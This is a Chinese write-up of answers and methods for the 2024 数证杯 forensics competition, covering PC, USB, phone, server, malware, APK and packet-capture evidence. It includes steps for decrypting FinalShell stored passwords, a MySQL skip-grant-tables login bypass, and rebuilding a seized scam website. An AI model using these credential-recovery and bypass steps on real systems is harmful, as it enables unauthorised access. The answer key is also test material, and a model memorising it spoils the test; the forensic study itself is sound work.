2024数证杯初赛WP

数证杯WP

计算机取证

仿真账号密码

Administrator jlb654321

image-20241128181841940

[填空题]对计算机镜像进行分析,计算该镜像中ESP分区的SM3值后8位为?(答案格式:大写字母与数字组合,如:D23DDF44) (2分)

EFI系统分区,即 EFI system partition,简写为 ESP。该分区在 Windows 操作系统下一般是不可见的。支持 EFI 模式的电脑需要从 ESP 启动系统,EFI 固件可从 ESP 加载 EFI 启动程序和应用程序。

ESP是一个独立于操作系统之外的分区,操作系统被引导之后,就不再依赖它。这使得 ESP 非常适合用来存储那些系统级的维护性的工具和数据,比如:引导管理程序、驱动程序、系统维护工具、系统备份等,甚至可以在 ESP 里安装一个特殊的操作系统(SlaTaz Linux? PuppyLinux? Win PE?)。

image-20241119154111085

image-20241119154139531

BDBE1073

[填空题]对计算机镜像进行分析,该操作系统超管账户最后一次注销时间为?(时区为UTC+08:00)(答案格式如:1970-01-01 00:00:00) (2分)

image-20241119154405779

2024-10-25 22:57:32

[填空题]对计算机镜像进行分析,该操作系统超管账户有记录的登录次数为?(填写数字,答案格式如:1234) (2分)

image-20241119154457341

24

[填空题]对计算机镜像进行分析,该操作系统设置的账户密码最长存留期为多少天?(填写数字,答案格式如:1234) (2分)

上网查询到查看的方法,默认的就是42天

https://jingyan.baidu.com/article/a3f121e4be5b7fbd9152bb05.html

image-20241128182353779

42

对计算机镜像进行分析,该操作系统安装的数据擦除软件的版本为?(答案格式:1.23) (2分)

image-20241128182654769

5.86

对计算机镜像进行分析,该操作系统接入过一名称为“Realtek USB Disk autorun USB Device”的USB设备,其接入时分配的盘符为?(答案格式:A:) (2分)

image-20241128183326639

E:

对计算机镜像进行分析,该操作系统无线网卡分配的默认网关地址为?(答案格式:127.0.0.1) (2分)

image-20241128183852328

192.168.43.1

对计算机镜像进行分析,该操作系统配置的连接NAS共享文件夹的IP地址为?(答案格式:127.0.0.1) (2分)

image-20241128184006533

192.168.188.1

对计算机镜像进行分析,写出“吵群技巧.txt”文件SM3值的后8位?(大写字母与数字组合,如:D23DDF44) (2分)

可以从出题人的角度寻找文件:在仿真的电脑里输入win加R,再输入recent去查看最近的文件,对日期进行排序后筛选西出可疑文件—— 话术、方法、技巧.zip

image-20241128184953384

image-20241128185043316

火眼定位导出解压,进行SM3计算

image-20241128184700061

image-20241128185510547

10887AE1

对计算机镜像进行分析,该操作系统通过SSH连接工具连接CCTalk测试环境的SSH端口为?(填写数字,答案格式如:1234) (2分)

image-20241128185615599

12849

对计算机镜像进行分析,该操作系统通过SSH连接工具连接的CCTalk境外服务器是哪个运营商的?(填写汉字,答案格式:阿里云) (2分)

回收站还原CCtalk

image-20241128185905356

打开即弹出IP

image-20241128185945692

微步查询为亚马逊云

image-20241128190136760

亚马逊云

对计算机镜像进行分析,获取机主保存在本机的U盾序号的后4位数字为?(填写数字,答案格式如:1234) (2分)

搜索U盾,只找到一张jpeg

image-20241128190828346

猜测是misc里常见的图片隐写

方法一:导出后拖入kali进行binwalk分离

参考:https://blog.csdn.net/weixin_46765649/article/details/136403613

image-20241128193650061

方法二:改文件后缀为.zip,解压缩即可

image-20241128191313675

6409

对计算机镜像进行分析,机主存储的某篇新闻报道“小程序搅动资源争夺战”的发表年份为?(答案格式:2024) (2分)

image-20241128190639643

网上搜索即可

image-20241128190704842

2019

对计算机镜像进行分析,该操作系统访问“环球商贸”的IP地址为?(答案格式:127.0.0.1) (2分)

image-20241128193747144

39.108.126.128

对计算机镜像进行分析,“环球商贸”服务器配置的登录密码为?(答案按照实际填写,字母存在大小写) (2分)

时间排序可以看到使用了Finalshell连接

image-20241128194307359

finalshell路径

image-20241128194557086

定位json文件

image-20241128194656433

火眼没有解出来,使用网上的工具或网站对json文件解密

https://github.com/antonTwelve/finalshellPasswordDecrypter

https://answer.uiucode.com/tools/finalshell

image-20241128195034016

image-20241128195147000

HQSM#20231108@gwWeB

对计算机镜像进行分析,机主安装的PC-Server服务环境的登录密码是?(答案按照实际填写,字母全小写) (2分)

同上解密PC的json得到

image-20241128195259821

jlb654321

[填空题]对计算机镜像进行分析,机主搭建的宝塔面板的安全入口为?(答案格式:/abc123) (2分)

image-20241128195445220

/c38b336a

对计算机镜像进行分析,机主搭建的宝塔环境中绑定的宝塔账号是?(按实际值填写) (4分)

计算机中还有一个嵌套镜像,直接添加为新检材

宝塔面板可以使用WXjzcccc的一把锁工具,前提是要连接仿真好的服务器。这部分的宝塔是vhdx文件,可以直接火眼仿真

工具:WXjzcccc/PanelForensics: Linux面板取证一把梭 (github.com)

最开始没有ip,查找服务器文件是因为ens33名称和配置文件eth0冲突,改一下名字

手动重命名接口(临时解决方案)

如果你只需要临时重命名接口,可以使用 ip 命令:

  1. 停用 ens33 接口:

    sudo ip link set ens33 down
    
  2. 重命名接口:

    sudo ip link set ens33 name eth0
    
  3. 启用 eth0 接口:

    sudo ip link set eth0 up
    
  4. 更新 Netplan 配置: 编辑 Netplan 配置文件,将 ens33 改为 eth0。

    sudo nano /etc/netplan/00-installer-config.yaml
    

    修改内容为:

    # This is the network config written by 'subiquity'
    network:
      version: 2
      ethernets:
        eth0:
          dhcp4: true
    
  5. 应用新的网络配置:

    sudo netplan apply
    

image-20241128210837110

image-20241128210935358

image-20241128195622178

image-20241128195817082

igmxcdsa

对计算机镜像进行分析,其搭建的宝塔面板的登录密码为?(按实际值填写) (2分)

看大佬博客了解到可以使用x-way爆搜用户名,定位pagefile.sys文件

image-20241202182720755

定位虚拟内存文件,并导出

image-20241202181153504

使用winhex或者010查看编码,可以定位到密码

image-20241202192745629

jlb1998

[填空题]对计算机镜像进行分析,机主搭建的宝塔环境中绑定的宝塔账号是?(按实际值填写) (4分)

userinfo.json 是宝塔面板中一个比较重要的文件,它通常用于存储与用户相关的信息。

一般情况下,userinfo.json 文件位于宝塔面板的安装目录下的 panel 文件夹内,具体路径为/www/server/panel/data/userinfo.json

image-20241128201647432

17859628390

对计算机镜像进行分析,机主搭建的宝塔面板中Mysql环境的root密码为?(按实际值填写) (4分)

image-20241128201335049

123456

对计算机镜像进行分析,机主搭建的宝塔面板中Mysql环境连接的端口号为?(填写数字,答案格式如:1234) (2分)

同上

3306

接上题,“卡号分组”表所在的数据库名为?(答案按照实际填写,字母全小写) (4分)

image-20241202182449293

a_train2023

接上题,“孙华锦”在2020-07-01 10:49:07时间节点的交易余额为?(答案格式:1234.56) (4分)

用nacvicat连接vhdk里的数据库查看

image-20241202190206851

6610.94

U盘取证

对U盘镜像进行分析,其镜像中共有几个分区?(填写数字,答案格式如:1234) (2分)

X-Way出马,统统闪开

image-20241203205113143

2

对U盘镜像进行分析,其中FAT32主分区的FAT表数量有几个?(请使用十进制数方式填写答案,答案格式:1234) (2分)

打开R-Studio,加载镜像,全盘扫描,得到所有文件

image-20241204081309694

image-20241204081533456

1

对U盘镜像进行分析,其中FAT32主分区定义的每扇区字节数为?(请使用十进制数方式填写答案,答案格式:1234) (2分)

image-20241204081716218

4kB是8个扇区,所以1KB就是2个扇区,512字节就是1个扇区

x-way也能看

image-20241204081952236

512

对U盘镜像进行分析,其中FAT32主分区的文件系统前保留扇区数为?(请使用十进制数方式填写答案,答案格式:1234) (2分)

计算方法:保留扇区=fat扇区位置-起始扇区位置

起始扇区位置(2048)

image-20241204082225768

fat扇区位置(9393)

搜索fat分区的头——F8FFFF

搜索——十六进制数值——输入F8FFFF

image-20241204082552918

7345

对U盘镜像进行分析,其中FAT32主分区的FAT1表相对于整个磁盘的起始扇区数为?(请使用十进制数方式填写答案,答案格式:1234) (2分)

相对于整个磁盘应该是9393,相对于分区应该是7345

9393

对U盘镜像进行分析,其中NTFS逻辑分区的$MFT起始簇号为?(请使用十进制数方式填写答案,答案格式:1234) (2分)

八个扇区=一个簇

image-20241204083122006

39082

对U盘镜像进行分析,其中NTFS逻辑分区的簇大小为多少个扇区?(请使用十进制数方式填写答案,答案格式:1234) (4分)

image-20241204083217528

8

对U盘镜像进行分析,请从该镜像的两个分区中找出使用“新建文本文档.txt”记录的同一个MD5值的两部分信息,并写出该MD5值的第13--20位字符串。(答案格式:大写字母与数字组合,如:D23DDF44) (4分)

使用Diskgenius pro

加载虚拟磁盘映像:

  • 打开 DiskGenius Pro。
  • 点击顶部菜单栏中的 磁盘 -> 打开虚拟磁盘文件...
  • ‘查看’选项选择所有文件类型,加载.dd文件
  • 恢复文件,选中所有类型

image-20241204090441107

找到文件头损坏的两个图片

image-20241204090550688

image-20241204090607369

导出后010恢复即可——FF D8 FF E1

img

b31d0139c8dd668aee24fa0a716dffe

手机取证

对手机镜像进行分析,机主微信ID号为?(答案按照实际填写,字母全小写) (2分)

image-20241202193247892

wxid_gvlyzqeyg83o22

对手机镜像进行分析,机主在2023年12月登录宝塔面板使用的验证码为?(填写数字,答案格式如:1234) (2分)

image-20241202193523949

482762

对手机镜像进行分析,小众即时通讯“鸽哒”应用程序的最后更新时间为?(答案格式如:1970-01-01 00:00:00) (2分)

image-20241202194926885

2024-09-20 10:06:13

对手机镜像进行分析,该手机中记录的最后一次开机时间。(答案格式如:1970-01-01 00:00:00) (2分)

image-20241202194612831

2024-10-24 11:27:14

对手机镜像进行分析,该手机中高德地图APP应用的登录ID为?(答案按照实际填写) (2分)

image-20241202193959545

950980338

对手机镜像进行分析,该手机中高德地图APP应用登录账号头像的SHA-256值前8位为?(答案格式:大写字母与数字组合,如:D23DDF44) (2分)

该题答案8F8A68A3或572589DA

因为图片在两个路径存储

1.分区4/media/0/Android/data/com.autonavi.minimap/files/autonavi/avatar

image-20241202200752697

2.分区4/media/0/Android/data/com.autonavi.minimap/files/autonavi/httpcache/imageajx

image-20241202200932185

对手机镜像进行分析,其中20220207-20230206的微信账单文件的解压密码为?(答案格式:按实际值填写) (2分)

image-20241202201158534

847905

对手机镜像进行分析,机主在手机中存储的一张复古土砌矮墙照片的拍摄地为哪个城市?(答案格式:北京市) (2分)

image-20241202201658479

image-20241202201723157

也可以通过导出图片,在属性查看经纬度定位

img

景德镇市

对手机镜像进行分析,通过AI合成的人脸照片中,有几张照片是通过本机当前安装的AI照片合成工具生成,并有对应记录的?(填写数字,答案格式如:1234) (4分)

第一步是寻找AI照片合成app的包

重点关注的app

image-20241202202237999

路径:分区4/data/uni.UNI2DBD214_1/files/apps/__UNI__2DBD214/www

image-20241202203215917

查看数据库,一共三条

路径:分区4/data/uni.UNI2DBD214_1/databases

image-20241202203331578

3

对手机镜像进行分析,统计出通讯录号码归属地第二多的省份是?(答案格式:广东) (4分)

这一题涉及数据分析的知识,但是数据比较少

导出通讯录为csv文件

image-20241202204657021

一眼福建

如果数据多建议对数据进行清洗,再统计数量比较,也可以做直线图,更加直观

image-20241202204631833

福建

对手机镜像进行分析,找出“季令柏”身份证号后4位为?(答案格式:1234) (2分)

定位,猜测改文件头恢复

image-20241202205059985

image-20241202205420030

8043

对手机镜像进行分析,找出接收“葵花宝典1.doc”文件使用的应用程序的第一次安装时间为?(答案格式如:1970-01-01 00:00:00) (2分)

TG

image-20241202205532225

image-20241202205610898

2024-09-20 09:29:40

对手机镜像进行分析,机主使用的小众即时通讯应用使用的服务器IP为?(答案格式:127.0.0.1) (2分)

上面知道这个app为“鸽哒”

老样子,火眼分析不了就翻数据库(媒体找media,数据库找data)

image-20241202210034333

另外的思路:

1.可以将apk单独导出,进行抓包获取ip

2.使用apk分析工具,例如雷电app分析工具找到外连ip

3.使用开源工具“apk2url”,可在https://github.com/n0mi1k/apk2url下载或者在线安装。将geda.apk文件与apk2url.sh放置同一目录,并在终端中执行./apk2url.sh geda.apk。

图片

等待数秒后结果将被输出至txt文件中,查看运行结果可知本题答案。

图片

163.179.125.64

对手机镜像进行分析,机主在哪个平台上发布过转让传奇游戏币的信息,请写出该平台应用APP的包名?(答案格式:com.abcd) (4分)

根据时间分析,一眼“95分”

image-20241202210429800

img

全局搜索

image-20241202211352897

猜测正确

image-20241202211427270

com.jiuwu

对手机镜像进行分析,其中有一“双色球”网页的玩法规则中定义的“三等奖”的奖金是多少?(填写数字,答案格式如:1234) (4分)

老样子,在最近app找线索——目标在备忘录上

image-20241202211653410

找到线索

image-20241202211909167

image-20241202212000905

10000

对手机镜像进行分析,找出手机连接过的米家摄像头终端设备的用户ID为?(答案格式:答案按照实际填写) (2分)

image-20241202212052654

2968704175

对手机镜像进行分析,找出手机连接过的米家摄像头终端设备的IP地址为?(答案格式:127.0.0.1) (4分)

不知道路径,要么问ai,要么爆搜

img

爆搜也可以定位

image-20241202213008734

image-20241202212851873

image-20241202212839629

192.168.110.106

数据分析

对计算机,手机,U盘镜像检材综合分析,找出计算机中VC加密容器使用的登录密钥文件,其中逻辑大小较小的文件占用多少个字节?(答案格式:1234) (4分)

小众软件鸽哒的数据库可以看见解密方式

image-20241205200119658

image-20241205200046266

1173

对计算机,手机,U盘镜像检材综合分析,写出存储的“带彩计划.txt”文件的SM3哈希值前8位;(大写字母与数字组合,如:D23DDF44) (2分)

这两道题需要把d盘的我的文件.vhd进行vc挂载,密钥文件为finalshell和winhex的快捷方式

我挂载有点问题,后面成功再补上

image-20241205205435100

AF30FFA1

对计算机,手机,U盘镜像检材综合分析,写出存储的“Shakepay买币,提币流程.ppt”文件在当前分区的起始簇号;(填写数字,答案格式如:1234) (4分)

44378

对计算机,手机,U盘镜像检材综合分析,写出存储在手机中,用于访问钱包地址的网站登录密码;(答案按照实际填写,字母全大写) (4分)

手机里有

image-20241205203407734

X29772024

对计算机,手机,U盘镜像检材综合分析,写出存储的钱包地址的前8位;(答案格式:abcd1234) (4分)

登录浏览器metamask插件即可

image-20241205204250868

0x91cCcA

对计算机,手机,U盘镜像检材综合分析,写出存储的钱包地址私钥的前8位;(答案格式:abcd1234) (4分)

image-20241205204449186

e87dca4c

对计算机,手机,U盘镜像检材综合分析,统计出机主微信账单从210207-240206期间发生的转入金额第三高的“对方卡号”字段的值为?(答案格式:汉字) (2分)

个人感觉下面的题目才是数据分析——在海量数据中提取关键信息(大数据)

后面专项学习数据分析再补上wp

可参考:

https://mp.weixin.qq.com/s/ZGbBT1WpOLGHCthHL6uZsA

2024年首届数证杯 初赛wp_2024美亚杯团体赛wp-CSDN博客

北贡

对计算机,手机,U盘镜像检材综合分析,统计出机主微信账单从210207-240206期间发生的“对方卡号”字段值为“陈建设”的转出净值为?(填写数字,答案格式如:1234) (2分)

501661

对计算机,手机,U盘镜像检材综合分析,统计出机主微信账单从210207-240206期间发生的交易笔数第三多的数量为?(填写数字,答案格式如:1234) (2分)

207

对数据分析检材中的第01-数据进行分析,办案人员从多个赌博网站中导出了100多份的报表,请统计出所有平台会员使用本币充值的总金额是多少?(答案格式:仅数字,结果不保留小数) (2分)

17590342

对数据分析检材中的第02-数据进行分析,办案人员在电脑中找到多个赌博网站的交易流水报表,每个报表都是以网站编号和年份命名,每个月独立生成一个sheet页。请统计出所有的交易流水总金额是多少?(答案格式::123456) (2分)

120630660

对数据分析检材中的第03-数据进行分析,请从赌博平台的用户登录日志表中,统计出2020年1月1号至2020年6月30号,总共有多少位会员登录了该平台?(答案格式:123456) (2分)

4134

对数据分析检材中的第03-数据进行分析,通过还原赌博平台数据库备份文件,请统计用户投注总次数前5的彩种开奖总次数?(涉及的数据库表:ssc2022_bets,ssc2022_data)(答案格式:123456) (4分)

12724

对数据分析检材中的第03-数据进行分析,请统计出在不止一种彩种上进行过投注的用户数量,并计算他们在2018年一共涉及了平台多少流水?(答案格式:保留三位有效数字,如:123.123) (4分)

10721.099

服务器取证

第一步:将镜像放火眼分析,并且需要将system和data分别仿真

image-20241203134541942

image-20241203134557427

第二步:配置环境

可以猜测system是前端站点服务器,data是后端数据库服务器,后面针对不同题目可以在对应的服务器里寻找线索

192.168.71.137 system

image-20241203135308247

data服务器ip需要手动配置

初始为192.168.160.150,网卡为ens33

image-20241203135431876

  1. 编辑网络接口配置文件: 网络接口配置文件通常位于/etc/sysconfig/network-scripts/目录下,文件名类似于ifcfg-eth0或ifcfg-ens33。使用文本编辑器打开它。

    sudo vi /etc/sysconfig/network-scripts/ifcfg-ens33
    
  2. 修改配置文件: 在文件中查找并修改以下行:

    BOOTPROTO=static
    ONBOOT=yes
    IPADDR=192.168.1.100
    NETMASK=255.255.255.0
    GATEWAY=192.168.1.1
    DNS1=8.8.8.8
    

    如果这些行不存在,则添加它们。确保将IPADDR、NETMASK、GATEWAY和DNS1设置为你想要的值。

  3. 重启网络服务: 修改配置文件后,重启网络服务使更改生效。

    sudo systemctl restart network
    

image-20241203140102924

image-20241203140222751

对服务器检材进行分析,站点服务器可能是从哪个云服务平台上调证过来的?(填写汉字,答案格式:亿速云) (2分)

仿真时可以看到“阿里云”

阿里云

对服务器检材进行分析,站点服务器中数据库的密码是?(按实际值填写) (2分)

这题明确是站点服务器,需要在system里找答案

history命令可以了解服务器的配置流程——核心命令★

image-20241203141207160

找到疑似密码:Sxy000**

图片

yum install可以查看安装了什么环境

image-20241203141839227

image-20241203144641841

RabbitMQ

RabbitMQ 是一个开源的消息代理(Message Broker)软件,也称为队列管理器。它允许不同的应用程序通过消息队列进行通信,支持多种协议,最著名的是AMQP(高级消息队列协议)。RabbitMQ被广泛用于解耦应用组件、实现异步处理、流量削峰等场景。

Erlang

Erlang 是一种编程语言及其运行环境,最初由瑞典电信公司爱立信开发,特别适合构建高并发、分布式的容错系统。Erlang具有轻量级进程、内置的垃圾回收机制、热代码交换等功能,使其非常适合开发如RabbitMQ这样的实时通信系统。

Java

Java 是一种广泛使用的面向对象的编程语言,设计初衷是“编写一次,到处运行”。Java拥有庞大的标准库和活跃的社区支持,适用于从桌面应用到大型企业级应用的各种场景。Java平台包括Java虚拟机(JVM)、Java类库以及Java语言本身,使得Java程序可以跨平台运行。

Nginx

Nginx(发音为“engine-x”)是一个高性能的HTTP服务器和反向代理服务器,同时也支持IMAP/POP3代理服务。Nginx以其高并发连接处理能力而闻名,能够有效地管理静态文件、负载均衡、缓存等任务。它常用于作为Web应用的前端服务器或API网关。

Redis

Redis 是一个开源的内存数据结构存储,可以用作数据库、缓存和消息中间件。它支持多种数据结构如字符串(strings)、哈希(hashes)、列表(lists)、集合(sets)及有序集合(sorted sets)。Redis提供了持久化选项,并且具备主从复制、哨兵模式下的自动故障转移等功能,非常适合用于需要快速读写操作的应用场景。

Consul(已删除)

Consul 是由HashiCorp开发的服务网格解决方案,提供了一整套的服务发现、配置管理和多数据中心网络方案。它可以帮助解决微服务架构中的常见问题,例如服务注册与发现、健康检查、Key/Value存储、多数据中心支持等。Consul的设计理念强调简单性和灵活性,既可以作为独立工具使用,也可以集成到更复杂的企业级环境中。

可以了解到该前端站点服务器为java网站架构,启动方式为jar包,站点结构为‘LNRJ’

image-20241203144149084

找到data目录下的启动jar包,导出用jadx反编译分析/改后缀为zip解压

image-20241203144421083

在历史命令中存在java -jar cal-0.0.1-SNAPSHOT.jar --spring.profiles.active=sxj,这个命令指向这个jar包的application-sxj.yaml文件,这个yaml文件即配置文件。

图片

确定答案为:Sxy000**

image-20241203144500588

Sxy000**

对服务器检材进行分析,站点服务器用于提供服务发现的工具名是?(答案格式:zookeeper) (4分)

上面history已找到

image-20241203142935220

consul

对服务器检材进行分析,站点服务器数据库配置文件名是?(答案格式:database.php) (2分)

上面已找到

application-sxj.yaml

对服务器检材进行分析,该网站涉及的APP名称是?(答案格式:微信) (2分)

主文件指向‘sxj’

image-20241203144916696

application-sxj.yaml找到app名

image-20241203144955809

顺心借

对服务器检材进行分析,该网站用于存储大量身份证照的OSS中的AccessKeyID后八位是?(答案格式:按实际值填写) (2分)

application-sxj.yaml找到AccessKeyID

image-20241203145108915

EuZJybzD

对服务器检材进行分析,站点服务器用于消息转发代理工具所使用的端口号是?(填写数字,答案格式:3306) (2分)

上面知道是:RabbitMQ

image-20241203145258261

5672

对服务器检材进行分析,站点服务器用于启动定时任务的代码片段存在于?(答案格式:LoginIndex.class) (4分)

爆搜即可

image-20241203145859521

image-20241203145953685

MobileStatusTask.class

对服务器检材进行分析,站点服务器用于验证用户输入的验证码是否匹配的代码片段存在于?(答案格式:LoginIndex.class) (4分)

同理

com.rh.cal.controller.admin

image-20241203150944368

AdminIndexConller.class

对服务器检材进行分析,数据库服务器中Docker容器镜像中mysql的镜像ID号前6位是?(答案格式:123asd) (2分)

image-20241203145401425

23b013

对服务器检材进行分析,数据库服务器中DockerCompose的版本号是?(答案格式:1.1.1) (2分)

image-20241203151146751

2.27.1

对服务器检材进行分析,数据库服务器中用于存储后台登录账号的数据表名是?(答案格式:login) (2分)

已知该数据库为docker启动的mysql,这题主要考查mysql数据库的相关知识,包括绕密登录、修改密码、远程连接等知识,需要一定的熟练度。通过绕密,修改密码登录mysql8.0,并远程连接navicat

正常连接拒绝

image-20241203152512402

docker exec -it mysql8.0.39 bash

mysql -u root -p 输入密码发现一直错误——选择绕密

image-20241203152914332

systemctl stop firewalld

docker exec -it mysql8.0.39 bash

sed -i '/\[mysqld\]/a skip-grant-tables' /etc/my.cnf

exit

docker restart mysql8.0.39

docker exec -it mysql8.0.39 bash

mysql -u root -p  # 不用输入密码,直接两次回车即可

FLUSH PRIVILEGES;

ALTER USER 'root'@'localhost' IDENTIFIED BY '123456';

ALTER USER 'root'@'%' IDENTIFIED BY '123456';

FLUSH PRIVILEGES;

exit
    
sed -i "s/skip-grant-tables/ /" /etc/my.cnf   #删除skip-grant-tables后重启容器(不删除无法正常从外部连接)
    
exit
    
docker restart mysql8.0.39

Navicat连接即可

image-20241203160955924

image-20241203161406559

sys_user

对服务器检材进行分析,后台管理员“xpt-0”所绑定的手机号码是?(答案格式:13001880188) (2分)

image-20241203161526055

19521510863

对服务器检材进行分析,用户首次借款初始额度是?(填写数字,答案格式:1) (2分)

爆搜

image-20241203163817937

image-20241203163923872

4000

对服务器检材进行分析,受害者在平台中一共结款了几次?(填写数字,答案格式:1) (2分)

这一题开始需要重构网站,比较难。其实也可以翻数据库找答案,但是比较麻烦

第一步:mysql创建用户

数据库连接信息里没有配置里的sxy用户,所以需要创建一个用户并授权

docker exec -it mysql8.0.39 bash

mysql -u root -p  # 输入密码123456

CREATE USER 'sxy'@'%' IDENTIFIED WITH mysql_native_password BY 'Sxy000**';  

GRANT ALL PRIVILEGES ON sxj_prod.* TO 'sxy'@'%';

FLUSH PRIVILEGES;

mysql的user表——成功添加

image-20241203190859087

第二步:修改host文件

F12查看网络信息,接受验证码ip(47.96.140.186)不对。如果要成功登录,需要通过system的rabbitmq接收,并与redis存储验证码数据比较,所以先要修改host,让网络转到system的ip上

image-20241203181233577

#将主机名映射到ip地址上,编辑hosts文件

vi /etc/hosts

#在其中添加下列代码,第一行是rabbitmq服务,第二行是将阿里云的地址映射到本地

127.0.0.1    iZbp1gma2uf9hvsnbu9mdkZ   iZbp1gma2uf9hvsnbu9mdkZ  #system的ip

192.168.71.150   rm-bp18td28bsh13f5jy.mysql.rds.aliyuncs.com     #data的ip

#修改后台跳转地址为本机地址

cd /www/admin/

find ./ -type f -name '*js' -exec sed -i 's/47.96.140.186/192.168.71.137/g' {} +    #system的ip

第三步:固定redis验证码

查看jar源代码,发现是将验证码和redisCode进行比较,所以验证码应该是需要存入redis中的

navicat连接,密码为:Sxy000**

添加即可

image-20241203191622021

第四步:启动所有服务

#启动rabbitmq服务

systemctlstartrabbitmq-server

#root目录下启动consul服务

cd/root

./consul.sh

#data目录下启动jar包脚本

Cd/data

./jar.sh

可以用netstat -anlpt检查开放的服务端口
使用systemctl status xxx  检查服务是否开启

第四步:网站访问

可以看到网站开放了82,83——82为后台登录界面

image-20241203183146506

推荐使用chrome浏览器

输入电话号码和验证码即可登录

image-20241203190009515

参考文章:

2024数证杯初赛 | Yiyi (xyaxxya.github.io)

https://mp.weixin.qq.com/s/JEOQo_92VZm29mp_OexAPg

https://mp.weixin.qq.com/s/ZGbBT1WpOLGHCthHL6uZsA

df561f2f824de45f592a13e874a90bc3

开始做题!

image-20241203192509971

1857

对服务器检材进行分析,该平台中所有下单用户成功完成订单总金额是?(填写数字,答案格式:1) (2分)

image-20241203192534456

11066700

对服务器检材进行分析,该平台中逾期费率是?(答案格式:1.1) (2分)

image-20241203192618783

0.1

对服务器检材进行分析,该平台中累计还款总金额是?(填写数字,答案格式:1) (2分)

image-20241203192736951

10194700

对服务器检材进行分析,该平台总共设置了多少种借款额度?(填写数字,答案格式:1) (2分)

有一条被禁用

image-20241203192931187

18

对服务器检材进行分析,该平台一共有多少个借款渠道?(填写数字,答案格式:1) (2分)

image-20241203193152454

131

对服务器检材进行分析,该平台对已完成用户收取了总计多少元服务费,结果精确到整数?(填写数字,答案格式:123) (2分)

image-20241203193230127

4051915

程序功能分析

对exe程序检材进行分析,计算程序的MD5(128bit)校验值的最后八位是?(答案格式:大写字母与数字组合,如:D23DDF44) (2分)

image-20241203193820576

3CDD7939

对exe程序检材进行分析,找出其释放的可执行程序的路径?(答案格式:D:\Document\Aaaa) (2分)

木马文件路径

image-20241203193929049

C:\Program Files\Cloudflare

对exe程序检材进行分析,找出其启动释放的可执行程序时命令的最后一个参数是什么?(答案格式:按实际值填写) (2分)

exe分析属于盲区,后面熟悉工具使用和解题思路后补上

参考wp——https://mp.weixin.qq.com/s/1awjjbaF117xjMA2akyTdw

8.8.8.8

对exe程序检材进行分析,该程序在执行时,会解密并写入一段字节码到Chakra模块的一个特定导出函数的内存地址中,以此来伪装调用的目的,请给出这个导出函数的名称?(答案格式:按实际函数名称填写) (2分)

JsProjectWinRTNamespace

对exe程序检材进行分析,请问Chakra模块的代码段被修改了多少字节(答案格式:0x1122) (2分)

0x3C809

对exe程序检材进行分析,解密出的字节码数据中携带着PE格式的数据,并且_IMAGE_NT_HEADERS头部的PE签名已经被修改,请给出修改后的签名值(答案格式:0x11 0x22) (2分)

0x4E 0x4F

对exe程序检材进行分析,解密出的字节码数据中携带着PE格式的数据,并且节区数据被加密,请分析给出解密第一个节区时使用的秘钥(答案格式:0x1B 0x22 0x33 0x4A) (4分)

0x9E 0x32 0xB1 0xA6

对exe程序检材进行分析,这份字节码数据解密前的密文第一个字节是什么(例如:0x1B) (4分)

0x5A

分析检材APK中检材-01.apk,获取其md5(128bit)校验值的后八位?(答案格式:大写字母与数字组合,如:D23DDF44) (2分)

image-20241203194511590

CEAEBF87

分析检材APK中检材-01.apk,请写出app的包名?(答案格式:com.xxx.xxx) (2分)

image-20241203194551162

反编译也可以看

image-20241203194934481

com.changbo.pro

接上题,请给出app的加固方式;(答案格式:梆梆) (2分)

image-20241203194551162

360

接上题,请给出app启动时主页面显示的activity名称;(答案格式:com.xxx.xxx.Mainactivity) (2分)

image-20241203195243234

GDA打开也可以找到

c3240601d46974356571f6aa962844b9

com.changbo.pro.ui.splash.SplashActivity

分析检材APK中检材-01.apk,请给出加密的访问地址的数据是? (4分)

这题开始需要手动分析

image-20241203202027325

在文本资源里找到定义的app_s

image-20241203202120194

访问地址的数据在下面

img

nCTC3EZ+il7D3P/0HglgduhUqlJikQwK

分析检材APK中检材-01.apk,请给出解密后的域名为?(答案格式:需要加上端口号,如: http://tieba.com:6666 ) (4分)

模拟器里的算法助手结果为http://yueze.cc:8777

img

http://yueze.cc:8777

接上题,请给出解密调用的so的名称;(答案格式:abc_amm) (4分)

跟进函数调用

image-20241203202548870

image-20241203202627876

image-20241203202743459

arm_classes4

对检材APK中检材-02.apk分析,获取其中的flag;(答案格式:flag{ISEC-C6d-ddd-7gd}) (4分)

16,17为misc套题

23柏鹭杯-misc - WXjzc - 博客园 (cnblogs.com)

flag

对检材APK中检材-03.apk分析,获取其中的flag;(答案格式:flag{ISEC-C6d-ddd-7gd}) (4分)

flag

网络流量分析

分析网络流量包检材,写出抓取该流量包时所花费的秒数?(填写数字,答案格式:10) (2分)

image-20241204091349637

拉到最底下,也可以看到3504

3504

分析网络流量包检材,抓取该流量包时使用计算机操作系统的build版本是多少?(答案格式:10D32) (2分)

image-20241204091633283

23F79

分析网络流量包检材,受害者的IP地址是?(答案格式:192.168.1.1) (2分)

image-20241204092158803

可以看到主要是192.168.75.132和192.168.75.131的通讯

image-20241204092223987

筛选——http && ((ip.src == 192.168.75.132 && ip.dst == 192.168.75.131) || (ip.src == 192.168.75.131 && ip.dst == 192.168.75.132))

可以看到131返回的都是状态码,132都是GET请求路径,一直在进行扫描。所以131是服务器,132是mac攻击机

image-20241204092649422

192.168.75.131

分析网络流量包检材,受害者所使用的操作系统是?(小写字母,答案格式:biwu) (2分)

找一个状态码返回包,在Hypertext里找

image-20241204092914838

ubuntu

分析网络流量包检材,攻击者使用的端口扫描工具是?(小写字母,答案格式:abc) (2分)

随便找一个扫描路径的包,在Hypertext里找到nmap

image-20241204093127149

nmap

分析网络流量包检材,攻击者使用的漏洞检测工具的版本号是?(答案格式:1.1.1) (2分)

同理

image-20241204093327522

3.1.0

分析网络流量包检材,攻击者通过目录扫描得到的 phpliteadmin 登录点是?(答案格式:/abc/abc.php) (2分)

可以设置筛选条件——http && ip.src == 192.168.75.132 && ip.dst == 192.168.75.131 && !(http.response.code == 404)

登录点要提交数据,方法为POST,即可找到

image-20241204094254448

/dbadmin/test_db.php

分析网络流量包检材,攻击者成功登录到 phpliteadmin 时使用的密码是?(答案格式:按实际值填写) (2分)

http && ((ip.src == 192.168.75.132 && ip.dst == 192.168.75.131) || (ip.src == 192.168.75.131 && ip.dst == 192.168.75.132))

几个POST后变GET了,说明登录成功

image-20241204094816187

admin

分析网络流量包检材,攻击者创建的 phpinfo 页面文件名是?(答案格式:abc.txt) (4分)

登录成功后方法是get,后面变成post,怀疑是上传了phpinfo的php文件

image-20241205080037293

追踪tcp流可以找到phpinfo的信息

image-20241205080418467

查看131返回状态码的包——导出ascii转htlm文件更加直观

image-20241205084310188

导出改后缀为htlm即可

image-20241205084338966

image-20241205084507971

demo.php

